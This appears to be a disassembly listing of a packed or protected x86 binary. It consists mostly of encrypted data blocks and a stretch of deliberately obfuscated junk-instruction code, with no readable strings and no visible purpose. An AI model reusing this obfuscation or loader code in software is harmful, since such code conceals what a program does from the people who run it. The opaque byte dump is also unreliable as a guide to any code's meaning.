0C850F41h, 0F000000h, 684h, 88EB8100h dd 0E944C1A5h, 0FFFFFF74h, 0CB667826h, 36EEC0C2h, 664898E3h dd 0E25D64DBh, 6E806h, 0D36D0000h, 0A69FB9D6h, 6E9h, 0EA8D4A00h dd 5F5597A3h, 0FE9h, 8B6E6D00h, 1456956Dh, 104B1BC9h, 29BA893Dh dd 6391C781h, 0B8660000h, 0BB3287h, 0BE000000h, 43BBA8E7h dd 661F148Bh, 0EA81C28Bh, 48559858h, 8E8h, 0E26B0100h dd 0DD65DC54h, 0EE8166CAh, 8158A341h, 94EAABC2h, 2870F39h dd 0B4000000h, 50EA8105h, 0B90F590Ah, 71E04142h, 661F1489h dd 666FDEB9h, 0EB83F08Bh, 81CA8B04h, 0FF9CF8FBh, 0AD850FFFh dd 0E9FFFFFFh, 10Ah, 38331D0Ah, 8A055C97h, 76A18883h, 7A0E0A1Dh dd 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h dd 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h dd 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h, 33537520h dd 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h, 0F360C950h dd 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh dd 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 0E0A1E35h, 5D340700h, 59A0A3D2h, 1Eh, 8 dup(0) dd 0A8E90000h, 6800000Ch, 7FDCA81h, 0FCB6BBE9h, 0CB9D68FFh dd 0B1E907FDh, 68FFFCB6h, 7FDCC65h, 0FCB6A7E9h, 0CD4E68FFh dd 9DE907FDh, 68FFFCB6h, 7FDCDBCh, 0FCB693E9h, 0CE5E68FFh dd 89E907FDh, 68FFFCB6h, 7FDCFC8h, 0FCB67FE9h, 0D0BD68FFh dd 75E907FDh, 68FFFCB6h, 7FDD18Fh, 0FCB66BE9h, 0D27068FFh dd 61E907FDh, 68FFFCB6h, 7FDD327h, 0FCB657E9h, 0CBD343FFh dd 742AE895h, 1A84913Eh, 0C6D837E4h, 702EE390h, 6A51063Ah dd 14C1F7A7h, 0BB689E00h, 66134955h, 0ECBBF1ADh, 4B157894h dd 0D53B07E4h, 0ED92BC1Eh, 0A7D2305Bh, 108E8126h, 0C56BD6Ah dd 0E60F9A04h, 878DF27Dh, 0E0328717h, 7A0A33BEh, 0E6A0FB5Eh dd 2AD029FFh, 4B053E97h, 0B3EB277Ch, 0EBB3600Dh, 2B3554B5h dd 0BD197F9Bh, 0EC4507E0h, 8717FC61h, 0F36FA451h, 0CEF7821Ch dd 81393E54h, 92FB57A7h, 5B77B707h, 7E150F8h, 0AB1FC51Eh dd 7E15145h, 876B2556h, 5882128Ch, 9E6A6627h, 0E4CF2C8h dd 5CECB261h, 0C29D001Ch, 6AC307E0h, 47CC31C4h, 0A66DF51Bh dd 0DB446DF8h, 214CDE61h, 64CD1379h, 0D28CBDD9h, 437925EEh dd 6F183B73h, 51DD940h, 0A76A0000h, 42A7326Ch, 3697CDD1h dd 617D0D53h, 7E0ADC7h, 0A7F782DBh, 28C6E57Dh, 21C73473h dd 0E12D46ADh, 15CF5007h, 6F34D60Eh, 257440h, 0F3050000h dd 0FA3ACA96h, 8B316DA5h, 0E09C4917h, 71FC5507h, 0E09ADE45h dd 0AD67E807h, 6EA76EA6h, 1020C40h, 0A79D0000h, 42A7326Ch dd 1C8293CFh, 0AED828B3h, 2233BE0h, 0AAC65691h, 0FFE68A47h dd 0C16E146Dh, 5CC14C52h, 2D57E7B7h, 6BBEEE7Bh, 0DB19BF63h dd 3E24EE43h, 0D35EC7D7h, 1A9004AAh, 64FFE760h, 21B9EFAFh dd 18868CE1h, 95F8648Dh, 0BBFFE75Dh, 4C52BD62h, 841AF9A6h dd 286BCAF4h, 0A56151AEh, 36536CFFh, 0E07E9A2Ah, 0FE07E17Ah dd 51F6A869h, 4177E0BEh, 27B7A9E0h, 327EEFFDh, 2CD1517Dh dd 7B13B9E5h, 0DE2C1C5Fh, 9FBBFB0Fh, 0FFECA83Ch, 6581116Ah dd 0FFECA802h, 0E831D730h, 67AAFF8Fh, 29690137h, 0ECA8AA0Dh dd 0FDA174FFh, 10BD63BCh, 27DF9D01h, 28999E22h, 9894EEDh dd 0EE280000h, 45CD7AB0h, 9F762359h, 0F31CC9FFh, 49C875ABh dd 36EB1F55h, 0A4DAC44Dh, 4B811DF7h, 0F62C729Eh, 9ED4CA49h dd 0F85B77CFh, 1E07E44Ch, 6AA701B8h, 1166FE34h, 0EAB46002h dd 0E52EDB81h, 810C927Dh, 2B9EF58h, 3ACA96F3h, 326CA5FAh dd 64D87EA7h, 7E09B96h, 90E06BC4h, 3AC5D93Bh, 2658111h dd 3007E09Bh, 56BD31D7h, 2007E09Bh, 0BF24AFEFh, 30C24D51h dd 40A54D07h, 0CFBE53A8h, 5CC9D886h, 0A147B0D4h, 42976620h dd 5626CCD2h, 406ED91Eh, 0DADADB05h, 9F754B1Dh, 0B518F9h dd 88C80000h, 0E16E096Ch, 38DE3707h, 326CA781h, 0CFCF42A7h dd 87A21844h, 47CCFFE6h, 9F72C757h, 0D14B74FFh, 0DEC74F84h dd 4E8C32AAh, 0F0AE61B6h, 28769D4Ah, 5B05849Dh, 0DC368BCBh dd 0CBE737C2h, 0FFE6A468h, 26CC358Eh, 0E0C514B2h, 2359B207h dd 0B45DC7C2h, 0CD365FEAh, 63CD213Dh, 80D90FDDh, 0EC769BF0h dd 31FD7727h, 90AA74A4h, 0B25F95FEh, 9B813F5Fh, 0C0999E00h dd 86DE685h, 0D2440000h, 29E996CCh, 83923F75h, 0D738E51Bh dd 2DE491C7h, 52073B71h, 0C0F6A869h, 679D0113h, 124856BAh dd 0BAF0AE65h, 147793EBh, 4207E44Eh, 6AA725DCh, 0C251FE34h dd 0BCEFA6DCh, 82FD607Ch, 0EEEAFFE6h, 0FF631EDh, 6D89094Ah dd 0FFE7090Ah, 0D076DF38h, 6B87F023h, 0FFE70908h, 0E430D52Eh dd 97C151BAh, 0EE08CDC5h, 163F314Bh, 0A5545182h, 9E03963Ch dd 4022ED75h, 1942CDD1h, 62B747B0h dword_5C005C dd 947EDB1h, 13762030h, 339C0211h, 538587A3h, 0D83107E1h ; DATA XREF: ___:off_444E8Co dd 7D21F348h, 0F12E92D7h, 0B306A9C3h, 0DEFA8AD6h, 1135C0Ch dd 1D36C11Ah, 4864F46Ch, 6ACBEBEh, 0A6FB8BE4h, 4EFB316Dh dd 7F1BD9C5h, 5060AD3Ch, 7A57615h, 0A0C0000h, 61B15E94h dd 0BB5A073Dh, 0F00ADE3h, 65AC598Fh, 1ACF0339h, 88BEE031h dd 2F6539DBh, 0DA108E82h, 82B8E62Dh, 0DC3F5BB3h, 0A07E44Fh dd 6CA7EDA4h, 0FB8EA732h, 83BF223Eh, 9481FFE6h, 15567F0Ah dd 0A20B9380h, 3F69A939h, 0FD784035h, 37AB51CBh, 7E0DAB9h dd 3596CC25h, 607C0C54h, 0FDEA0F5h, 0AD0292EBh, 84AD3866h dd 26C7E30Ah, 650BBCB7h, 39B78CDh, 6FF320CDh, 292FBA3h dd 0B643A6C2h, 1871FFEDh, 58FEA073h, 83DDACC5h, 0EB89B3F3h dd 0CB832E51h, 0C82B47D7h, 0EEFFEDC4h, 377BEF95h, 1F07EB8Bh dd 0AA138B8Ah, 504EC51Ah, 0F8A66D1Ah, 0A90C2868h, 0D707E109h dd 2C45D87Eh, 4973035Dh, 8C0661C3h, 2E70A4C5h, 6B117AA3h dd 0E755B7D3h, 0DD320FDAh, 0B4DD6836h, 0AE6CC50Eh, 999815F8h dd 0BCFF9ED9h, 0F5000006h, 9A477D21h, 43F02678h, 0E996CCD2h dd 95427826h, 0B8EC227Ch, 0A9F51C03h, 504EC673h, 0FBA36D1Ah dd 0A3FB18C5h, 2A469E6Dh, 7E450C7h, 0F3D087EDh, 1E3ACA96h dd 7E44AE2h, 0BE13A3FCh, 8FB94955h, 617F193Ch, 0D10FB50Ch dd 509EEF24h, 0F5A968D1h, 0C2E66E7Bh, 0D4B5CE59h, 62E0FC8Ch dd 800FDDF4h, 4FA16927h, 4F8A999Fh, 64EB0h, 0EBB36300h dd 940A08B5h, 3A64B15Eh, 0E6B85704h, 900E03B0h, 8A71265Ah dd 34E11787h, 0DB88BEE0h, 86336935h, 0CDB118Dh, 503598B4h dd 0F55B07E4h, 0CA96F33Eh, 4BB31E3Ah, 0D83107E4h, 7F1FF348h dd 1F3BCBF4h, 7E44ABCh, 53EB91EAh, 538915FEh, 0A6316DA6h dd 0FD3DFC8Dh, 0E44A7EE1h, 0DF4BA407h, 7E44A7Ch, 63CB40AAh dd 20D4CC0Eh, 0A2BE4EB7h, 0FE1955Eh, 4A9F2F88h, 227C99C9h dd 3DD683B9h, 3186D661h, 0B718BEE0h, 0A9FE8ED2h, 0F48C326Ch dd 0E13876D8h, 85439C07h, 9E62A2CFh, 0ACC2619Ch, 5000005h dd 0AA578D11h, 53003668h, 0F9A6DCC2h, 0A5528816h, 0C8FC326Ch dd 0B9E52C13h, 603ED683h, 0B937D2Ah, 0B3EB28D5h, 3A56AE7Dh dd 7E451D7h, 0A7E097FDh, 42A7326Ch, 3697CDD1h, 5E40D153h dd 0AF4965F5h, 0D307E0ADh, 7C95EA7Ah, 0AD7CDFFBh, 51AA07E0h dd 8E345DE8h, 0AD68CFFBh, 0F17207E0h, 0B4F83037h, 5896406Eh dd 27000000h, 3ACA96F3h, 304C2BE5h, 0FFE683CDh, 0A6319AF3h dd 633BD87Dh, 7109AFD8h, 6A34DC31h, 9B8250C4h, 47A007E0h dd 102C6CBCh, 7E09BADh, 60D47AD3h, 7E09AF9h, 0C6514DC3h dd 65F0AE61h, 7119D30Ch, 0CAD18B0Ch, 406EA792h, 0F530h dd 68B6E000h, 0D1D2AB5Fh, 0BCC98026h, 0C908B192h, 9EC7524Ch dd 0FFD1AB24h, 0FB67AC59h, 0D2CC481Ah, 10750069h, 0CD0D9D01h dd 0E6CB4EB1h, 9FFF10FFh, 51AAEB14h, 0AA3569ACh, 0E348DB81h dd 9EDE6E30h, 0E6CB1F82h, 46EC45FFh, 30E63B3h, 41E7109Bh dd 0DCF87F94h, 0FFE6CB79h, 0AFE54EA7h, 58BBD717h, 7EFFE6CBh dd 950B7F25h, 0DDFFE6CFh, 85326836h, 6C85108Eh, 900E071Dh dd 0E373DC05h, 0E0E3E1C7h, 7EB40D07h, 64F46C1Dh, 0DDC36C48h dd 0B1419A0Fh, 3EF25571h, 0B5D1FFEDh, 0FFED3F52h, 8DE62780h dd 17FA4FE7h, 6DA45187h, 0BBDF7331h, 4580999Eh, 442A6h dd 0F7A76F00h, 0A0FE14C1h, 4658BD6Ah, 0F2AC6310h, 9C020FBCh dd 967D3266h, 40ED237Bh, 0E794CAD4h, 923F7529h, 18E71D81h dd 5241A4C0h, 96F07E4h, 346AA752h, 1166FEh, 0C84BF89Eh dd 0BF28769Ah, 96F3D289h, 501E3ACAh, 4E07E09Ch, 0D73E6AF5h dd 0E107E09Bh, 679FA660h, 5406EA7h, 0D7h, 326CA796h, 0CFCF42A7h dd 87A21844h, 47CCFFE6h, 9F742157h, 0EF2F6FFFh, 0E68670D3h dd 0D13D96FFh, 0FFE6866Eh, 2EB9E530h, 0C56BC405h, 86A2E232h dd 0FFE68623h, 0F152F851h, 0F838C898h, 4D178EB8h, 0C8CB745Ah dd 0E6C3F95Ch, 0FBD27FFh, 5D415200h, 12862C95h, 7E16C2Ch dd 6ACB015Ah, 930B051Fh, 55A9A2Ah, 75E98F0Fh, 0FDE283Ah dd 1C829328h, 6FFF6891h, 0F996F71Ah, 0FBBE3CA8h, 0C673A912h dd 0AD102C4Bh, 0D3FFECF5h, 0F553117Ah, 56999E75h, 34D7C1Bh dd 0B2640000h, 909B6ECh, 63B25F95h, 0B758053Bh, 0D04B1E7h dd 72275B91h, 0E0168889h, 87BDE133h, 326836DAh, 0DA108E85h dd 3497B30Bh, 6207E453h, 6AA745FCh, 838EF10Dh, 5BB4FFE6h dd 40FBCF2h, 0A7AD649Ah, 801EF66Ch, 0FC3C8C17h, 0A7326CA7h dd 83AF127Eh, 0A371FFE6h, 0BB61BAFBh, 6399050Eh, 0BBCE788Ah dd 0F7F915A5h, 0DB07E089h, 7DBD4582h, 0E088FE61h, 88A42407h dd 7E08925h, 0E389F24Bh, 15FFB06Fh, 4D1376ACh, 0E8287DBDh dd 9A0411B6h, 0CC40E60Fh, 0ABB015DEh, 0E7B758ADh, 448D335Ch dd 424760EBh, 0F94E8E1Eh, 0D4CA4B17h, 11B7E06Bh, 1979139Dh dd 0A6368FACh, 0C2C57F7Ch, 36DC5988h, 0D4CA499Eh, 7C22F19Eh dd 50C896BEh, 0DD7CB73Ah, 27Bh, 88BEE036h, 316737DBh, 0D70D9184h dd 83B9E52Ah, 2D633BD6h, 0B65B44F9h, 0F05B2E8h, 64AC598Fh dd 0BC57043Ah, 85DDACE2h, 0E4540669h, 0FC62C07h, 1BF66CA7h dd 768F1A83h, 7DBD4D13h, 2BB6E828h, 66E85C02h, 4C07E0AEh dd 0C8E4BDF3h, 288BA7E7h, 4E07E0ADh, 9BEE4FF5h, 171935C5h dd 0BB0FDAB4h, 489D2562h, 2F92AEC9h, 55FFE6AFh, 0CE0893FCh dd 4A3098EDh, 90359E6Dh, 5791F7Fh, 0BC75D59Ah, 77075930h dd 25B0EE22h, 7EBE56FCh, 27B2EC29h, 12E458FEh, 40C46F31h dd 4E2D57E7h, 0F0AE66F0h, 0E66B9276h, 0F594AD40h, 0EEB1DB6Bh dd 301E31D4h, 1834CC72h, 0C358CD8Eh, 0EB2BBB14h, 0AEB06BC1h dd 2DD3CF7Fh, 43CF9380h, 2A7D05Bh, 0D9028D11h, 868D3A70h dd 42C05A18h, 0E492511h, 19A6Fh, 9FFF1700h, 4856BC69h dd 0EEB06512h, 9A040BB8h, 445AB764h, 3E25DA0Eh, 0E895CBD3h dd 8F3C722Ch, 3AE71D81h, 0C08FC5D9h, 54E94C68h, 0B11707E4h dd 216CA7FAh, 463283EFh, 0A6319A41h, 0D464FC8Dh, 3A157894h dd 0E23BFFE7h, 3E88A43Ch, 1507E16Bh, 0A54B53C0h, 35CD035Ch dd 0DE6935E0h, 1B360FB5h, 0B8481871h, 0ADF12378h, 0F919307h dd 0DC350FDBh, 8519F74Ch, 33369ADFh, 89B8D9F0h, 90D06000h dd 0D8EF1174h, 6935DBB8h, 1B74B5DEh, 0EFC1DD75h, 0F3C0D30Fh dd 93F60F9Ah, 97213DCDh, 0BC6EC73h, 46CD22B2h, 9E752258h dd 0E8514DC4h, 6DE83E2Ah, 35D40F21h, 0E3h, 205648CEh, 0C9FF9F73h dd 6FA5F91Ch, 1B514DC2h, 0C5FBA36Eh, 1EF3DC91h, 779D4A80h dd 0CC44F127h, 24EF9CD2h, 1D75447Ah, 0E4569E01h, 0A75EC407h dd 0A7326CA7h, 0D565FB8Eh, 61741EABh, 52C8EB85h, 652CA602h dd 0FE14B9D6h, 2262FAA0h, 0CF63C6E2h, 8A58FFE6h, 0B82ECDDBh dd 42E84182h, 0E0DFC8CEh, 679DF607h, 4DDD8306h, 0A1AD5E23h dd 59FFDEABh, 9F5DA5C1h, 30890FDEh, 130055A5h, 0DB38E58Bh dd 33E08DC3h, 52B4E06Bh, 283FBCDDh, 0C25135EFh, 1AF9A6DCh dd 68D1CD48h, 0EA8D83D8h, 0AFDD6BCEh, 0D740993Fh, 0EA7D234Ch dd 89148A85h, 4514CEF7h, 0EF7A24F0h, 0A07320C6h, 0F81BC8FEh dd 0C7EC16A6h, 24FC0A3Eh, 130ABF3Fh, 4C06F899h, 107413A6h dd 0D000000h, 0E63B7BBBh, 0A6097529h, 0CCFFE683h, 0A716CD73h dd 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h, 1277029Ch dd 0AF149FFFh, 4CB13C62h, 0EB50DBC3h, 84E9742Ah, 5285108Eh dd 264368h, 242C8900h, 0C581E589h, 4, 8704ED83h db 2Ch, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx push ebx mov ebx, 7FDC89Ch push ebx sub dword ptr [esp], 244F6722h pop eax add eax, 244F6722h pop ebx push esp mov ecx, [esp] add esp, 4 push 7872h mov [esp], edx mov edx, eax mov [ecx+8], edx pop edx mov ecx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_58B334 ; --------------------------------------------------------------------------- dw 759Ch dd 0E4490693h, 0B8F7E0D5h, 7FDD42Fh, 0E0FFC503h, 7FF69749h dd 29EAEF9Bh, 77BE1339h, 0F72FDB9h, 38DCAC68h, 7A4E8CFDh dd 403CCDCh, 40B713Ch, 5D55422Fh, 317D1A7Ch, 395B361Bh dd 2CA456FCh, 148E9h, 4800h, 4C00h, 5000h, 5400h, 5800h dd 5C00h, 6000h, 6400h, 0A800h, 0AC00h, 0B000h, 0B400h dd 0B800h, 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h dd 0D400h, 0D800h, 0DC00h, 0E000h, 0E400h, 38h dup(0) dd 5C09B500h, 0B2C20300h, 14858D00h, 0B707FDD5h, 548589F3h dd 8B07FDD6h, 0FA25C9BDh, 6585C607h, 5407FA06h, 0C1952B60h dd 8907FA02h, 0FA01A5B5h, 4E86107h, 29000000h, 0B2EE6268h dd 665250C9h, 8B5FCA8Bh, 0E9042444h, 7, 0BE148DA4h, 8B36FBEDh dd 89FE8B00h, 0E8042444h, 0Ah, 8C3DA57Dh, 0C5603CFFh, 830FACBEh dd 0Fh, 9E8h, 7224A00h, 0CD504AB2h, 5F5F43A1h, 0B5FFFC58h dd 7FA2095h, 7E8h, 32CEE900h, 0FA121DDh, 27B9958Bh, 8D5907FAh dd 0FDA3DD85h, 0C88B6607h, 24BAD0FFh, 894EB9D4h, 0FDD65885h dd 1BD2907h, 0E907FA1Eh, 3Bh, 8B56F1B5h, 0FDD654B5h, 83068907h dd 0FDD65485h, 0C35E0407h, 14B58D60h, 0EB07FDD5h, 6A560Fh dd 95FF36FFh, 7FDD658h, 4C6835Eh, 75003E83h, 0BFC361ECh dd 612D3DD1h, 8DF98B66h, 0FDD72385h, 298D8B07h, 8907FA26h dd 0FA312585h, 75E907h, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h dd 8A5B5FFh, 858D07FAh, 7FDA3DDh, 8589D0FFh, 7FA1ED1h dd 0EFC1FE8Bh, 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1ED195FFh dd 32E907FAh, 0C6000000h, 0FA066585h, 0DF685607h, 0FFA9C530h dd 0FA2095B5h, 0DD858D07h, 0FF07FDA3h, 5D8589D0h, 8D07FA26h dd 0FA2A5585h, 206A5007h, 0FF56056Ah, 0FA265D95h, 0C1C36107h dd 4FEB06E0h, 0FA251C8Fh, 0C6A108ABh, 1CA4ACDAh, 5C5CD2D4h dd 34CE00E4h, 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah dd 6734DF1Bh, 5600A6DBh, 9F0043A5h, 0DC80BAh, 54000000h dd 0FEB41Bh, 0FBFE3400h, 87000000h, 2352DDB4h, 19ED920h dd 0E97C809Eh, 1324h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 95C35343h, 33EDBD83h, 0F0007FAh, 3685h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0BA460DD9h, 8166A970h, 0B804FEF1h, 0 dd 4C2EA8Ah, 0B1BD8B00h, 8B07FA1Ch, 9D2360C0h, 7FA1191h dd 8361D68Bh, 0FA2ACDBDh, 9750007h, 1899BD83h, 740007FAh dd 8B535013h, 4D0B8C0h, 9D8D0000h, 7FCDFF8h, 585BD3FFh dd 1899BD83h, 740007FAh, 0B8535011h, 4D0h, 0DF459D8Dh dd 0D3FF07FCh, 6EB9585Bh, 6A2FB34Fh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 4067C357h dd 0F2775E0Bh, 0D18D03E2h, 0E907FA0Dh, 9, 22D73B32h, 0A3E56BD2h dd 64DF8138h, 8B38968Fh, 1E858DC0h, 6A07FDD8h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0EF14C350h, 60D799CAh, 3168F8D6h, 0FA0AD58Dh, 0C8B95007h dd 89555163h, 0E7812404h, 11CE1A60h, 0D7DB858Dh, 666007FDh dd 3E20E681h, 17CDBD01h, 906107FAh, 264BB966h, 90CA8B50h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 7BC35141h dd 100C8AB9h, 95B34634h, 290595FFh, 0BD8B07FAh, 7FA3195h dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 3BC35040h, 0E2802E31h, 6858930h, 0F07FDD8h, 448BCBBFh dd 6A0824h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0B809EDC3h, 12C1AE4Ah, 32A59503h, 858907FAh dd 7FDD81Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ah, 7AC35545h, 0FF968961h, 7E8CBC6h, 5F000000h, 0C1D52720h dd 0EF8A406Fh, 21B58959h, 8307FA2Bh, 0FA24ADBDh, 850F0007h dd 104h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 39C35343h, 830F45BCh, 5, 41560EBFh, 6585C61Eh dd 4707FA06h, 5A41B966h, 0E5FF5E68h, 665250AAh, 0FD5B1BAh dd 0CE831h, 29E90000h, 0FAA90101h, 0BFFCF2A1h, 5A5F26B4h dd 24348158h, 7E7F588Ch, 2095B5FFh, 6A07FAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 6539EFC3h dd 4B1770A8h, 95BD893Ch, 8D07FA33h, 0FDA3DD85h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h dd 66C7A697h, 0D0FFD68Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 14h, 0BAC35646h, 8944ED80h, 0FA24AD85h, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 6226165Ch, 419C6932h, 0BD8BADA7h, 7FA1C21h, 2835BD83h dd 0F0007FAh, 11985h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 15749C26h, 803421C6h dd 85C649F1h, 7FA0665h, 57006A47h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 340F9830h, 0AEF36827h dd 0BA66D16Ah, 3481526Ah, 651B1124h, 53006A5Bh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 4D97CBB1h dd 6295915Dh, 66574C3Fh, 2FA8D781h, 95B5FF5Ah, 6A07FA20h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 0FB1AC357h, 8AF8E9F5h, 0DD858DD4h, 6A07FDA3h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 72B6C356h, 0DE97Ch, 37980000h, 2CE81997h dd 3CAD011Dh, 0F55610Eh, 68Ah, 0F1BD8900h, 0FF07FA30h dd 0BE8D0h, 564D0000h, 16058BCh, 4582BF1Ah, 5E856h, 13280000h dd 52244735h, 895A5A59h, 0FA283585h, 0BD83F807h, 7FA0075h dd 2B850F00h, 81000001h, 466373E1h, 6585C67Ah, 5607FA06h dd 78B0C181h, 4E82BCDh, 39000000h, 50D41F6Dh, 12E9h, 0EECA3200h dd 319D85D8h, 0EA613DF8h, 0A636EBAFh, 8B296570h, 60042444h dd 2870Fh, 70B10000h, 0E9008B61h, 14h, 694095DFh, 3522A0D2h dd 4F06B1D0h, 84BE6DEAh, 0C9A95EA5h, 4244489h, 6A604EBAh dd 6A5857h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 9D4F4FC3h, 9C1E2783h, 8910620Ch, 0FA24DDB5h dd 0B5FFF807h, 7FA2095h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0AC35646h, 0FCFB8351h, 60C48616h, 81610CB2h dd 0A5FF67DAh, 0DD858D60h, 6A07FDA3h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8195C357h dd 0DA562FD7h, 8BD0FF62h, 0FA2FA98Dh, 89BD2307h, 8907FA17h dd 0FA007585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1B04h, 0C3574700h, 5F7D87E5h, 2F02C7A5h dd 14958529h, 85C607FAh, 7FA0665h, 8E96Ch, 4CA40000h, 8B7D9B0Dh dd 4B68CDCAh, 50EA7669h, 0FEAB652h, 5AF48A31h, 24348158h dd 317319C8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0FCC35747h, 61958B06h, 6607FA14h, 0B5FFCE8Bh, 7FA08A5h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 7CC35242h dd 63404F3Ch, 0F764258Ch, 0CD958BF9h, 8D07FA1Ch, 0FA3AE285h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0B5EF4595h, 9ED34CDh, 0D0FFF5B8h, 48C38060h dd 0AE961h, 8BB50000h, 53F94B02h, 712D7EEDh, 0D80A8589h dd 8E907FDh, 0C1000000h, 6B06959Dh, 83117E09h, 0FDD826BDh dd 850F0007h, 0FEh, 1364B966h, 66585C6h, 6A4907FAh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0B4C4C357h, 4E815h, 29E90000h, 0FDB18C15h, 8E86050h dd 0FA000000h, 0ACF63B33h, 5E1ABFE2h, 10E9h, 0B2875400h dd 502A6ECAh, 0BB776DEDh, 899E6C6Bh, 448B6145h, 60B50424h dd 16B2008Bh, 4244489h, 1BB5BA53h, 585A06D3h, 10E9h, 146ACD00h dd 53E3DF2Dh, 578145BFh, 67542B0Ah, 819589FEh, 0FF07FA08h dd 0FA08A5B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 8F38A6AEh, 40794905h dd 7B662FB9h, 0E2858D6Ah, 8107FA3Ah, 456288DFh, 6AD0FF4Dh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 4381C356h, 0D1431F53h, 81518B24h, 11EBBDE9h dd 85895F0Eh, 7FDD826h, 0F259509h, 46A07FAh, 0E0816660h dd 0BD8BFCBAh, 7FA2B11h, 3806861h, 8B60D0A7h, 0FE8CAh dd 791C0000h, 9B46CC1Dh, 54967C3Ch, 2DA5AD60h, 0CA8B66E6h dd 481615Ah, 590C8024h, 50006A2Fh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E73C5482h, 0D68F5C7h dd 573F7248h, 0D31D01BAh, 34815F14h, 73480D24h, 2D95013Fh dd 6A07FA31h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0FF5DF18Eh, 0FA2A3595h, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 85F74023h, 7FCD8E12h, 69BF86E6h, 0B6664B9Fh, 16858996h dd 2907FDD8h, 0FA1625BDh, 0E85C707h, 7FDD8h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0F2CC351h dd 685h, 55E78100h, 6A5019BAh, 619D8900h, 6807FA2Fh, 0D46F25CAh dd 66A7B560h, 61B7D7BFh, 36240481h, 6A2B91DAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 6C56C356h, 0BFC8D9B9h, 0E9B50909h, 9007FA2Ah, 0EAD305BAh dd 11E95018h, 40000000h, 0B2DDDD36h, 82AB5278h, 3BF1C4F9h dd 7B1918ECh, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0CF8B66ADh, 0BF660B6Ah, 858DC2C0h dd 7FDD7E3h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0E6C35040h, 87ED7281h, 0E91A2335h, 30F9B589h, 0D08B07FAh dd 12D28166h, 0CA8B905Ah, 0D1BA6650h, 958B9037h, 7FA1C71h dd 24AD95FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 0B9FF4C3h, 668A31DFh, 0BD0BD38Bh dd 7FA1F4Dh, 0D7EDB58Dh, 0B59607FDh, 52505016h, 5F616052h dd 0D58A310Fh, 0F96585Ah, 5050CFBFh, 8B666052h, 0A69ABFD9h dd 0F611EE6h, 